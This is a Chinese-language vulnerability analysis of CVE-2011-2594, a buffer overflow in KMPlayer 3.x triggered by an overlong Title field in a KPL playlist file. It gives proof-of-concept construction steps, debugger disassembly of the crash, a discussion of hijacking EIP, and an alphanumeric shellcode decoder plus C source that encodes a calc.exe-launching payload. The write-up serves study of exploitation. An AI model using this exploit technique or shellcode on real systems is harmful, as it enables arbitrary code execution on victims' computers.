[漏洞分析] CVE-2011-2594 分析

Cve 2011-2594 分析 研究报告
漏洞介绍:
适用环境:
CVE ID:CVE-2011-2594
CNCVE ID:CNCVE-20112594
漏洞发布时间:2011-08-29
漏洞起因:
边界条件错误
影响系统
KMPlayer 3.x
危害
远程攻击者可以利用漏洞以应用程序安全上下文执行任意代码。

攻击所需条件
攻击者必须构建恶意KPL文件,诱使用户解析。

漏洞信息
KMPlayer是一款流行的媒体播放程序。
KMPlayer处理播放列表中的"Title"条目时存在边界错误,攻击者可以构建恶意KPL文件,诱使用户解析,触发缓冲区溢出,成功利用漏洞可以以应用程序安全上下文执行任意代码。

一. 漏洞poc的构造.
根据漏洞信息介绍,在程序安装目录查找这个kpl文件。
最后在the kmplayer/playlist/Default.kpl文件 ,猜测可能是该文件的内容引起的溢出。
用记事本打开改文件:
[playlist]
File1=C:\Program Files\The KMPlayer\KMP_Album_Art.swf
Title1=KMP_Album_Art.swf
Length1=0
Played1=1
NumberOfEntries=1
Version=2
CurrentIndex=0

看到内容,我们可以猜想到 这个文件应该记录的是kmplay最后打开视频的记录信息。
当然kpl可以被kmplayer播放器双击打开。
我们猜测可能是Title字段存在漏洞,于是开始填充超长字符串。
经过多次测试,我填充大概6万多个"a"最终导致了溢出。
通过ue 查看文件二进制内容 ,可以看出改文件是unicode编码的。
Unicode在我们后续的构造利用 产生了障碍, 怎么办?
可以把文本文件保存成asc码形式的,从而解决该障碍。保存,双击,可以触发漏洞。

二 .漏洞分析
双击该kpl文件 程序异常,od加载该程序,
0042E217 8B45 FC mov eax, dword ptr [ebp-4] 0042E21A 8B10 mov edx, dword ptr [eax] 0042E21C FF52 04 call dword ptr [edx+4] 0042E21F 33C0 xor eax, eax 0042E221 5A pop edx 0042E222 59 pop ecx 0042E223 59 pop ecx 0042E224 64:8910 mov dword ptr fs:[eax], edx 0042E227 EB 15 jmp short 0042E23E 0042E229 ^ E9 8A66FDFF jmp 004048B8 0042E22E E8 FD50FDFF call 00403330 0042E233 8B55 FC mov edx, dword ptr [ebp-4] 0042E236 8942 38 mov dword ptr [edx+38], eax 0042E239 E8 4E6BFDFF call 00404D8C 0042E23E 33C0 xor eax, eax 0042E240 5A pop edx 0042E241 59 pop ecx 0042E242 59 pop ecx 0042E243 64:8910 mov dword ptr fs:[eax], edx 将eax的值赋给edx 0042E246 68 86E24200 push 0042E286 0042E24B 8B45 FC mov eax, dword ptr [ebp-4] 0042E24E 0FB658 0F movzx ebx, byte ptr [eax+F] 0042E252 8B45 FC mov eax, dword ptr [ebp-4] 0042E255 8B70 14 mov esi, dword ptr [eax+14] 0042E258 8B45 FC mov eax, dword ptr [ebp-4] 0042E25B 8B10 mov edx, dword ptr [eax] 将eax的内容赋给edx 0042E25D FF12 call dword ptr [edx] 调用 ptr [edx]
根据od的调试,我们实际能控制的寄存器是eax,通过eax 来修改edx的值。
实际上在修改edx的过程 遇到很多问题 ,想要控制程序指令指针(eip)不是很简单。
首先是 ptr 【edx】 ,也就是要在内存找一个跳板地址来实现eip的控制。比如要跳转至 0x10000000 必须要在内存空间内找到10000000这个地址的地址。在实际操作中 比较困难。
难点一。每个系统地址不一样,同一溢出点,寄存器的地址不固定,不能做到通用
所以考虑到采用系统固定地址。
难点二。系统地址比较固定,但是在查找地址的地址过程比较繁琐和复杂。
改地址不能出现特殊字符例如:"./?","0x00"等等 所以可以用的范围比较局限,通过搜索基本找不到 类似的地址。通过一天的努力,果断放弃。
退而求其次,只能通过静态地址来调整eip的 ,在我机子上eax的地址是

0x 0113a890 所以我们选择跳板的时候可以考虑在这个地址附近的地址,
通过跳板 来跳到我们的shellcode。


三shellcode 的 构造
有人要问 shellcode有什么分析的,不然 ,在编写shellcode的时候,要注意以下事项。Shellcode中不能有0x00,",/,;,等等,没有仔细测试,某些大于0x7f的字节也不可以出现。
之前有大牛介绍过纯字母的shellcode的方法。经过测试,发现该纯字母shellcode可以用。那我们开始动手制作自己的shellcode。
纯字符shellcode实际上是对原有shellcode的一种解密并执行过程。
01131B29 D9EE fldz 01131B2B D97424 F4 fstenv (28-byte) ptr [esp-C] 清零操作 01131B2F 5E pop esi 01131B30 83C6 20 add esi, 20 01131B33 56 push esi 01131B34 5F pop edi 保存寄存器的值 01131B35 33C9 xor ecx, ecx 01131B37 66:B9 C601 mov cx, 1C6 解密shellcode长度 01131B3B 66:AD lods word ptr [esi] 01131B3D 66:2D 6161 sub ax, 6161 01131B41 C0E0 04 shl al, 4 01131B44 02C4 add al, ah 01131B46 AA stos byte ptr es:[edi] 01131B47 ^ E2 F2 loopd short 01131B3B 解密过程 将"shellcode-0x61"相加 所以我们可以放心的把我们的加密过的shellcode放在后面。

这个功能msf上, 感觉还是自己写的比较有感觉 就自己写了shellcode的加密程序

贴段加密shellcode的代码:

#include "stdafx.h" #include "stdio.h" #include "sys\\stat.h" int main(int argc, char* argv[]) { unsigned char shellcode[] = { 0xE9, 0x9E, 0x00, 0x00, 0x00, 0x56, 0x31, 0xC0, 0x64, 0x8B, 0x40, 0x30, 0x85, 0xC0, 0x78, 0x0F, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x40, 0x08, 0xE9, 0x09, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x34, 0x8D, 0x40, 0x7C, 0x8B, 0x40, 0x3C, 0x5E, 0xC3, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45, 0x3C, 0x8B, 0x54, 0x05, 0x78, 0x01, 0xEA, 0x8B, 0x4A, 0x18, 0x8B, 0x5A, 0x20, 0x01, 0xEB, 0xE3, 0x37, 0x49, 0x8B, 0x34, 0x8B, 0x01, 0xEE, 0x31, 0xFF, 0x31, 0xC0, 0xFC, 0xAC, 0x84, 0xC0, 0x74, 0x0A, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE9, 0xF1, 0xFF, 0xFF, 0xFF, 0x3B, 0x7C, 0x24, 0x28, 0x75, 0xDE, 0x8B, 0x5A, 0x24, 0x01, 0xEB, 0x66, 0x8B, 0x0C, 0x4B, 0x8B, 0x5A, 0x1C, 0x01, 0xEB, 0x8B, 0x04, 0x8B, 0x01, 0xE8, 0x89, 0x44, 0x24, 0x1C, 0x61, 0xC3, 0xAD, 0x50, 0x52, 0xE8, 0xA7, 0xFF, 0xFF, 0xFF, 0x89, 0x07, 0x81, 0xC4, 0x08, 0x00, 0x00, 0x00, 0x81, 0xC7, 0x04, 0x00, 0x00, 0x00, 0x39, 0xCE, 0x75, 0xE6, 0xC3, 0xE8, 0x19, 0x00, 0x00, 0x00, 0x98, 0xFE, 0x8A, 0x0E, 0x7E, 0xD8, 0xE2, 0x73, 0x81, 0xEC, 0x08, 0x00, 0x00, 0x00, 0x89, 0xE5, 0xE8, 0x55, 0xFF, 0xFF, 0xFF, 0x89, 0xC2, 0xEB, 0xE2, 0x5E, 0x8D, 0x7D, 0x04, 0x89, 0xF1, 0x81, 0xC1, 0x08, 0x00, 0x00, 0x00, 0xE8, 0xB6, 0xFF, 0xFF, 0xFF, 0xEB, 0x0E, 0x5B, 0x31, 0xC0, 0x50, 0x53, 0xFF, 0x55, 0x04, 0x31, 0xC0, 0x50, 0xFF, 0x55, 0x08, 0xE8, 0xED, 0xFF, 0xFF, 0xFF, 0x63, 0x61, 0x6C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00 }; unsigned char buf[454]; for(int i=0;i<0xe3;i++) { buf[2*i]=shellcode[i]>>4; buf[2*i]+=0x61; buf[2*i+1]=shellcode[i]<<4; buf[2*i+1]>>=4; buf[2*i+1]+=0x61; } FILE *ObjectHandle; ObjectHandle=fopen("XXshellcode.dat","w+b"); fwrite(buf,454,1,ObjectHandle); fclose(ObjectHandle); printf("Hello World!\n"); return 0; }

学习          。

TOP